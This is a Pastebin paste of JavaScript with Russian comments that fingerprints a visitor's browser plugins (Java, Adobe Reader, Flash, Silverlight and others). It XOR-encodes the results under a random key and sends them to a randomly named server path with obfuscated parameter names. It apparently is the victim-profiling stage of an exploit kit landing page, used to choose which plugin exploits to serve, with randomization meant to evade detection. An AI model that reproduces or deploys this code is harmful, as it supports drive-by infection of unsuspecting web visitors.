Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /**
- * Отправка запроса с информацией о плагинах
- */
- function send_request(hid) {
- var info = {
- plugins : {
- java: plg_all_ver('Java'),
- adobe_reader: plg_ver('AdobeReader'),
- flash: plg_ver('Flash'),
- quick_time: plg_ver('QuickTime'),
- real_player: plg_ver('RealPlayer'),
- shockwave: plg_ver('Shockwave'),
- silver_light: plg_ver('Silverlight'),
- vlc: plg_ver('VLC'),
- wmp: plg_ver('WMP')
- }
- }
- var pass = rnd_str(1+Math.floor(Math.random()*10));
- var obj = {};
- obj["h"+rnd_str(1+Math.floor(Math.random()*10))] = hid; // host id
- obj["p"+rnd_str(1+Math.floor(Math.random()*10))] = pass; // XOR pass
- obj["i"+rnd_str(1+Math.floor(Math.random()*10))] = xor(JSON.stringify(info), pass);
- $("body").load("c"+rnd_str(1+Math.floor(Math.random()*10)), obj);
- }
- /**
- * Возвращает строку разбитую ";" со всеми версиями указанного плагина (java, pdf)
- * @param string name
- */
- function plg_all_ver(name) {
- var info = PluginDetect.getInfo(name);
- var vers = info.All_versions;
- if(!vers)
- return '';
- return info.All_versions.join(';')
- }
- /**
- * Возвращает текущую установленную версию плагина
- * @param string name
- */
- function plg_ver(name) {
- var info = PluginDetect.getVersion(name);
- return info;
- }
- /**
- * Возвращает рандомную строку заданной длины
- */
- function rnd_str(len) {
- len++;
- var result = [];
- var chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
- while (--len) {
- result.push(chars.charAt(Math.floor(Math.random() * chars.length)));
- }
- return result.join('');
- }
- /**
- * Реализация XOR
- */
- function xor (input, pass) {
- var output = "";
- var i = 0;
- var pos = 0;
- for (i = 0; i < input.length; i++){
- pos = Math.floor(i%pass.length);
- output += String.fromCharCode(input.charCodeAt(i) ^ pass.charCodeAt(pos));
- }
- return output;
- }
- /**
- * Реализация серелизации объекта в json
- */
- JSON.stringify = JSON.stringify || function (obj) {
- var t = typeof (obj);
- if (t != "object" || obj === null) {
- // simple data type
- if (t == "string") obj = '"'+obj+'"';
- return String(obj);
- }
- else {
- // recurse array or object
- var n, v, json = [], arr = (obj && obj.constructor == Array);
- for (n in obj) {
- v = obj[n]; t = typeof(v);
- if (t == "string") v = '"'+v+'"';
- else if (t == "object" && v !== null) v = JSON.stringify(v);
- json.push((arr ? "" : '"' + n + '":') + String(v));
- }
- return (arr ? "[" : "{") + String(json) + (arr ? "]" : "}");
- }
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement